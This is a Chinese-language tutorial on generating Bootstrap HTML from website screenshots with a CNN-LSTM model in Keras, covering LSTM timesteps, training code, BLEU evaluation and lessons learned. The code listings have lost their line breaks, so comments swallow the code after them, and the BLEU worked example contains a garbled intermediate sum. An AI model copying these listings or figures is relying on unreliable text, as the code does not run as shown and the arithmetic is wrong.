關(guān)于 CNN 的教程有很多，我在別的文章里有介紹。此處我主要講解 LSTM。

理解 LSTM 中的 timestep

LSTM 中最難理解的內(nèi)容之一就是 timestep。原始的神經(jīng)網(wǎng)絡(luò)可以看作只有兩個 timestep。如果輸入是“Hello”（第一個 timestep），它會預(yù)測“World”（第二個 timestep），但它無法預(yù)測更多的 timestep。下面的例子中輸入有四個 timestep，每個詞一個。

LSTM 適用于包含 timestep 的輸入，這種神經(jīng)網(wǎng)絡(luò)專門處理有序的信息。模型展開后你會發(fā)現(xiàn)，下行的每一步所持有的權(quán)重保持不變。另外，前一個輸出和新的輸入需要分別使用相應(yīng)的權(quán)重。

接下來，輸入和輸出乘以權(quán)重之后相加，再通過激活函數(shù)得到該 timestep 的輸出。由于權(quán)重不隨 timestep 變化，所以它們可以從多個輸入中獲得信息，從而掌握單詞的順序。

下圖通過簡單圖例描述了一個 LSTM 中每個 timestep 的處理過程。

為了更好地理解這個邏輯，我建議你跟隨 Andrew Trask 的這篇精彩的教程[14]，嘗試從頭創(chuàng)建一個 RNN。

理解 LSTM 層中的單元

LSTM 層中的單元（unit）數(shù)量決定了它的記憶能力，以及每個輸出特征的大小。再次強調(diào)，特征是一長列的數(shù)值，用于在層與層之間的信息傳遞。

LSTM 層中的每個單元負(fù)責(zé)跟蹤語法中的不同信息。下圖描述了一個單元的示例，其內(nèi)保存了布局行“div”的信息。我們簡化了 HTML 代碼，并用于訓(xùn)練 bootstrap 模型。

每個 LSTM 單元擁有一個單元狀態(tài)（cell state）。你可以把單元狀態(tài)看作單元的記憶。權(quán)重和激活函數(shù)可以用各種方式改變狀態(tài)。因此 LSTM 層可以微調(diào)每個輸入所需要保存和丟棄的信息。

向輸入傳遞輸出特征的同時，還需傳遞單元狀態(tài)，LSTM 的每個單元都需要傳遞自己的單元狀態(tài)值。為了理解 LSTM 各部分的交互方式，我建議你可以閱讀：

Colah 的教程：https://colah.github.io/posts/2015-08-Understanding-LSTMs/

Jayasiri 的 Numpy 實現(xiàn)：http://blog.varunajayasiri.com/numpy_lstm.html

Karphay 的講座和文章：https://www.youtube.com/watch?v=yCC09vCHzF8； https://karpathy.github.io/2015/05/21/rnn-effectiveness/

dir_name = 'resources/eval_light/'# Read a file and return a stringdef load_doc(filename): file = open(filename, 'r') text = file.read() file.close() return textdef load_data(data_dir): text = [] images = [] # Load all the files and order them all_filenames = listdir(data_dir) all_filenames.sort() for filename in (all_filenames): if filename[-3:] == "npz": # Load the images already prepared in arrays image = np.load(data_dir+filename) images.append(image['features']) else: # Load the boostrap tokens and rap them in a start and end tag syntax = '<START> ' + load_doc(data_dir+filename) + ' <END>' # Seperate all the words with a single space syntax = ' '.join(syntax.split()) # Add a space after each comma syntax = syntax.replace(',', ' ,') text.append(syntax) images = np.array(images, dtype=float) return images, texttrain_features, texts = load_data(dir_name)# Initialize the function to create the vocabularytokenizer = Tokenizer(filters='', split=" ", lower=False)# Create the vocabularytokenizer.fit_on_texts([load_doc('bootstrap.vocab')])# Add one spot for the empty word in the vocabularyvocab_size = len(tokenizer.word_index) + 1# Map the input sentences into the vocabulary indexestrain_sequences = tokenizer.texts_to_sequences(texts)# The longest set of boostrap tokensmax_sequence = max(len(s) for s in train_sequences)# Specify how many tokens to have in each input sentencemax_length = 48def preprocess_data(sequences, features): X, y, image_data = list(), list(), list() for img_no, seq in enumerate(sequences): for i in range(1, len(seq)): # Add the sentence until the current count(i) and add the current count to the output in_seq, out_seq = seq[:i], seq[i] # Pad all the input token sentences to max_sequence in_seq = pad_sequences([in_seq], maxlen=max_sequence)[0] # Turn the output into one-hot encoding out_seq = to_categorical([out_seq], num_classes=vocab_size)[0] # Add the corresponding image to the boostrap token file image_data.append(features[img_no]) # Cap the input sentence to 48 tokens and add it X.append(in_seq[-48:]) y.append(out_seq) return np.array(X), np.array(y), np.array(image_data)X, y, image_data = preprocess_data(train_sequences, train_features)#Create the encoderimage_model = Sequential()image_model.add(Conv2D(16, (3, 3), padding='valid', activation='relu', input_shape=(256, 256, 3,)))image_model.add(Conv2D(16, (3,3), activation='relu', padding='same', strides=2))image_model.add(Conv2D(32, (3,3), activation='relu', padding='same'))image_model.add(Conv2D(32, (3,3), activation='relu', padding='same', strides=2))image_model.add(Conv2D(64, (3,3), activation='relu', padding='same'))image_model.add(Conv2D(64, (3,3), activation='relu', padding='same', strides=2))image_model.add(Conv2D(128, (3,3), activation='relu', padding='same'))image_model.add(Flatten())image_model.add(Dense(1024, activation='relu'))image_model.add(Dropout(0.3))image_model.add(Dense(1024, activation='relu'))image_model.add(Dropout(0.3))image_model.add(RepeatVector(max_length))visual_input = Input(shape=(256, 256, 3,))encoded_image = image_model(visual_input)language_input = Input(shape=(max_length,))language_model = Embedding(vocab_size, 50, input_length=max_length, mask_zero=True)(language_input)language_model = LSTM(128, return_sequences=True)(language_model)language_model = LSTM(128, return_sequences=True)(language_model)#Create the decoderdecoder = concatenate([encoded_image, language_model])decoder = LSTM(512, return_sequences=True)(decoder)decoder = LSTM(512, return_sequences=False)(decoder)decoder = Dense(vocab_size, activation='softmax')(decoder)# Compile the modelmodel = Model(inputs=[visual_input, language_input], outputs=decoder)optimizer = RMSprop(lr=0.0001, clipvalue=1.0)model.compile(loss='categorical_crossentropy', optimizer=optimizer)#Save the model for every 2nd epochfilepath="org-weights-epoch-{epoch:04d}--val_loss-{val_loss:.4f}--loss-{loss:.4f}.hdf5"checkpoint = ModelCheckpoint(filepath, monitor='val_loss', verbose=1, save_weights_only=True, period=2)callbacks_list = [checkpoint]# Train the modelmodel.fit([image_data, X], y, batch_size=64, shuffle=False, validation_split=0.1, callbacks=callbacks_list, verbose=1, epochs=50)

測試準(zhǔn)確度

很難找到合理的方式測量準(zhǔn)確度。你可以逐個比較單詞，但如果預(yù)測結(jié)果中有一個單詞出現(xiàn)了錯位，那準(zhǔn)確率可能就是 0%了；如果為了同步預(yù)測而刪除這個詞，那么準(zhǔn)確率又會變成 99/100。

我采用了 BLEU 分?jǐn)?shù)，它是測試機器翻譯和圖像標(biāo)記模型的最佳選擇。它將句子分成四個 n-grams，從 1 個單詞的序列逐步擴展為 4 個單詞。下例，預(yù)測結(jié)果中的“cat”實際上應(yīng)該是“code”。

為了計算最終分?jǐn)?shù)，首先需要讓每個 n-grams 的得分乘以 25%并求和，即(4/5) * 0.25 + (2/4) * 0.25 + (1/3) * 0.25 + (0/2) * 0.25 = 02 + 1.25 + 0.083 + 0 = 0.408；得出的總和需要乘以句子長度的懲罰因子。由于本例中預(yù)測句子的長度是正確的，因此這就是最終的分?jǐn)?shù)。

增加 n-grams 的數(shù)量可以提高難度。4 個 n-grams 的模型最適合人類翻譯。為了進(jìn)一步了解 BLEU，我建議你可以用下面的代碼運行幾個例子，并閱讀這篇 wiki 頁面[15]。

#Create a function to read a file and return its contentdef load_doc(filename): file = open(filename, 'r') text = file.read() file.close() return textdef load_data(data_dir): text = [] images = [] files_in_folder = os.listdir(data_dir) files_in_folder.sort() for filename in tqdm(files_in_folder): #Add an image if filename[-3:] == "npz": image = np.load(data_dir+filename) images.append(image['features']) else: # Add text and wrap it in a start and end tag syntax = '<START> ' + load_doc(data_dir+filename) + ' <END>' #Seperate each word with a space syntax = ' '.join(syntax.split()) #Add a space between each comma syntax = syntax.replace(',', ' ,') text.append(syntax) images = np.array(images, dtype=float) return images, text#Intialize the function to create the vocabularytokenizer = Tokenizer(filters='', split=" ", lower=False)#Create the vocabulary in a specific ordertokenizer.fit_on_texts([load_doc('bootstrap.vocab')])dir_name = '../../../../eval/'train_features, texts = load_data(dir_name)#load model and weightsjson_file = open('../../../../model.json', 'r')loaded_model_json = json_file.read()json_file.close()loaded_model = model_from_json(loaded_model_json)# load weights into new modelloaded_model.load_weights("../../../../weights.hdf5")print("Loaded model from disk")# map an integer to a worddef word_for_id(integer, tokenizer): for word, index in tokenizer.word_index.items(): if index == integer: return word return Noneprint(word_for_id(17, tokenizer))# generate a description for an imagedef generate_desc(model, tokenizer, photo, max_length): photo = np.array([photo]) # seed the generation process in_text = '<START> ' # iterate over the whole length of the sequence print('\nPrediction---->\n\n<START> ', end='') for i in range(150): # integer encode input sequence sequence = tokenizer.texts_to_sequences([in_text])[0] # pad input sequence = pad_sequences([sequence], maxlen=max_length) # predict next word yhat = loaded_model.predict([photo, sequence], verbose=0) # convert probability to integer yhat = argmax(yhat) # map integer to word word = word_for_id(yhat, tokenizer) # stop if we cannot map the word if word is None: break # append as input for generating the next word in_text += word + ' ' # stop if we predict the end of the sequence print(word + ' ', end='') if word == '<END>': break return in_textmax_length = 48# evaluate the skill of the modeldef evaluate_model(model, descriptions, photos, tokenizer, max_length): actual, predicted = list(), list() # step over the whole set for i in range(len(texts)): yhat = generate_desc(model, tokenizer, photos[i], max_length) # store actual and predicted print('\n\nReal---->\n\n' + texts[i]) actual.append([texts[i].split()]) predicted.append(yhat.split()) # calculate BLEU score bleu = corpus_bleu(actual, predicted) return bleu, actual, predictedbleu, actual, predicted = evaluate_model(loaded_model, texts, train_features, tokenizer, max_length)#Compile the tokens into HTML and cssdsl_path = "compiler/assets/web-dsl-mapping.json"compiler = Compiler(dsl_path)compiled_website = compiler.compile(predicted[0], 'index.html')print(compiled_website )print(bleu)

輸出

輸出示例的鏈接

網(wǎng)站 1：

• 生成的網(wǎng)站：https://emilwallner.github.io/bootstrap/pred_1/

• 原網(wǎng)站：https://emilwallner.github.io/bootstrap/real_1/

網(wǎng)站 2：

• 生成的網(wǎng)站：https://emilwallner.github.io/bootstrap/pred_2/

• 原網(wǎng)站：https://emilwallner.github.io/bootstrap/real_2/

網(wǎng)站 3：

• 生成的網(wǎng)站：https://emilwallner.github.io/bootstrap/pred_3/

• 原網(wǎng)站：https://emilwallner.github.io/bootstrap/real_3/

網(wǎng)站 4：

• 生成的網(wǎng)站：https://emilwallner.github.io/bootstrap/pred_4/

• 原網(wǎng)站：https://emilwallner.github.io/bootstrap/real_4/

網(wǎng)站 5：

• 生成的網(wǎng)站：https://emilwallner.github.io/bootstrap/pred_5/

• 原網(wǎng)站：https://emilwallner.github.io/bootstrap/real_5/

我犯過的錯誤

• 學(xué)會理解模型的弱點，避免盲目測試模型。剛開始的時候，我隨便嘗試了一些東西，比如 batch normalization、bidirectional network，還試圖實現(xiàn) attention。看了測試數(shù)據(jù)后發(fā)現(xiàn)這些并不能準(zhǔn)確地預(yù)測顏色和位置，我開始意識到這是 CNN 的弱點。因此我放棄了 maxpooling，改為增加步長。結(jié)果測試損失從 0.12 降到了 0.02，BLEU 分?jǐn)?shù)從 85%提高到了 97%。

• 只使用相關(guān)的事先訓(xùn)練好的模型。在數(shù)據(jù)集很小的時候，我以為事先訓(xùn)練好的圖像模型能夠提高效率。實驗結(jié)果表明，端到端的模型雖然更慢，訓(xùn)練也需要更多的內(nèi)存，但準(zhǔn)確率能提高 30%。

• 在遠(yuǎn)程服務(wù)器上運行模型時要為一些差異做好準(zhǔn)備。在我的 Mac 上運行時，文件是按照字母順序讀取的。但在遠(yuǎn)程服務(wù)器上卻是隨機讀取的。結(jié)果造成了截圖和代碼不匹配的問題。雖然依然能夠收斂，但在我修復(fù)了這個問題后，測試數(shù)據(jù)的準(zhǔn)確率提高了 50%。

• 務(wù)必要理解庫函數(shù)。詞匯表中的空 token 需要包含空格。一開始我沒加空格，結(jié)果就漏了一個 token。直到看了幾次最終輸出結(jié)果，注意到它從來不會預(yù)測某個 token 的時候，我才發(fā)現(xiàn)了這個問題。檢查后發(fā)現(xiàn)那個 token 不在詞匯表里。此外，要保證訓(xùn)練和測試時使用的詞匯表的順序相同。

• 試驗時使用輕量級的模型。用 GRU 替換 LSTM 可以讓每個 epoch 的時間減少 30%，而且不會對性能有太大影響。

下一步

深度學(xué)習(xí)很適合應(yīng)用在前端開發(fā)中，因為很容易生成數(shù)據(jù)，而且如今的深度學(xué)習(xí)算法可以覆蓋絕大多數(shù)的邏輯。

其中一個最有意思的方面是在 LSTM 中使用 attention 機制[16]。它不僅能提高準(zhǔn)確率，而且可以幫助我們觀察 CSS 在生成 HTML 代碼的時候，它的注意力在何處。

Attention 還是 HTML 代碼、樣式表、腳本甚至后臺之間溝通的關(guān)鍵因素。attention 層可以追蹤參數(shù)，幫助神經(jīng)網(wǎng)絡(luò)在不同編程語言之間溝通。

但是短期內(nèi)，最大的難題還在于找到一個可擴展的方法用于生成數(shù)據(jù)。這樣才能逐步加入字體、顏色、單詞以及動畫。

迄今為止，很多人都在努力實現(xiàn)繪制草圖并將其轉(zhuǎn)化為應(yīng)用程序的模板。不出兩年，我們就能實現(xiàn)在紙上繪制應(yīng)用程序，并在一秒內(nèi)獲得相應(yīng)的前端代碼。Airbnb 設(shè)計團(tuán)隊[17]和 Uizard[18] 已經(jīng)創(chuàng)建了兩個原型。

下面是一些值得嘗試的實驗。

實驗

Getting started：

• 運行所有的模型

• 嘗試不同的超參數(shù)

• 嘗試不同的 CNN 架構(gòu)

• 加入 Bidirectional 的 LSTM 模型

• 使用不同的數(shù)據(jù)集實現(xiàn)模型[19]（你可以通過 FloydHub 的參數(shù)“--data ”掛載這個數(shù)據(jù)集：emilwallner/datasets/100k-html:data）

高級實驗

• 創(chuàng)建能利用特定的語法穩(wěn)定生成任意應(yīng)用程序/網(wǎng)頁的生成器

• 生成應(yīng)用程序模型的設(shè)計圖數(shù)據(jù)。將應(yīng)用程序或網(wǎng)頁的截圖自動轉(zhuǎn)換成設(shè)計，并使用 GAN 產(chǎn)生變化。

• 通過 attention 層觀察每次預(yù)測時的圖像焦點，類似于這個模型：https://arxiv.org/abs/1502.03044

• 創(chuàng)建模塊化方法的框架。比如一個模型負(fù)責(zé)編碼字體，一個負(fù)責(zé)顏色，另一個負(fù)責(zé)布局，并利用解碼部分將它們結(jié)合在一起。你可以從靜態(tài)圖像特征開始嘗試。

• 為神經(jīng)網(wǎng)絡(luò)提供簡單的 HTML 組成單元，訓(xùn)練它利用 CSS 生成動畫。如果能加入 attention 模塊，觀察輸入源的聚焦就更完美了。

最后，非常感謝 Tony Beltramelli 和 Jon Gold 提供的研究成果和想法，以及對各種問題的解答。謝謝 Jason Brownlee 貢獻(xiàn)他的 stellar Keras 教程（我在核心的 Keras 實現(xiàn)中加入了幾個他的教程中介紹的 snippets），謝謝 Beltramelli 提供的數(shù)據(jù)。還要謝謝 Qingping Hou、Charlie Harrington、 Sai Soundararaj、 Jannes Klaas、 Claudio Cabral、 Alain Demenet 和 Dylan Djian 審閱本篇文章。

相關(guān)鏈接

[1] pix2code 論文：https://arxiv.org/abs/1705.07962

[2] sketch2code：https://airbnb.design/sketching-interfaces/

[3] https://github.com/emilwallner/Screenshot-to-code-in-Keras/blob/master/README.md

[4] https://www.floydhub.com/emilwallner/projects/picturetocode

[5] https://machinelearningmastery.com/blog/page/2/

[6] https://blog.floydhub.com/my-first-weekend-of-deep-learning/

[7] https://blog.floydhub.com/coding-the-history-of-deep-learning/

[8] https://blog.floydhub.com/colorizing-b&w-photos-with-neural-networks/

[9] https://machinelearningmastery.com/deep-learning-caption-generation-models/

[10] https://machinelearningmastery.com/how-to-one-hot-encode-sequence-data-in-python/

[11] https://www.youtube.com/watch?v=byLQ9kgjTdQ&t=21s

[12] https://arxiv.org/abs/1301.3781

[13] https://github.com/tonybeltramelli/pix2code/tree/master/datasets

[14] https://iamtrask.github.io/2015/11/15/anyone-can-code-lstm/

[15] https://en.wikipedia.org/wiki/BLEU

[16] https://arxiv.org/pdf/1502.03044.pdf

[17] https://airbnb.design/sketching-interfaces/

[18] https://www.uizard.io/

[19] http://lstm.seas.harvard.edu/latex/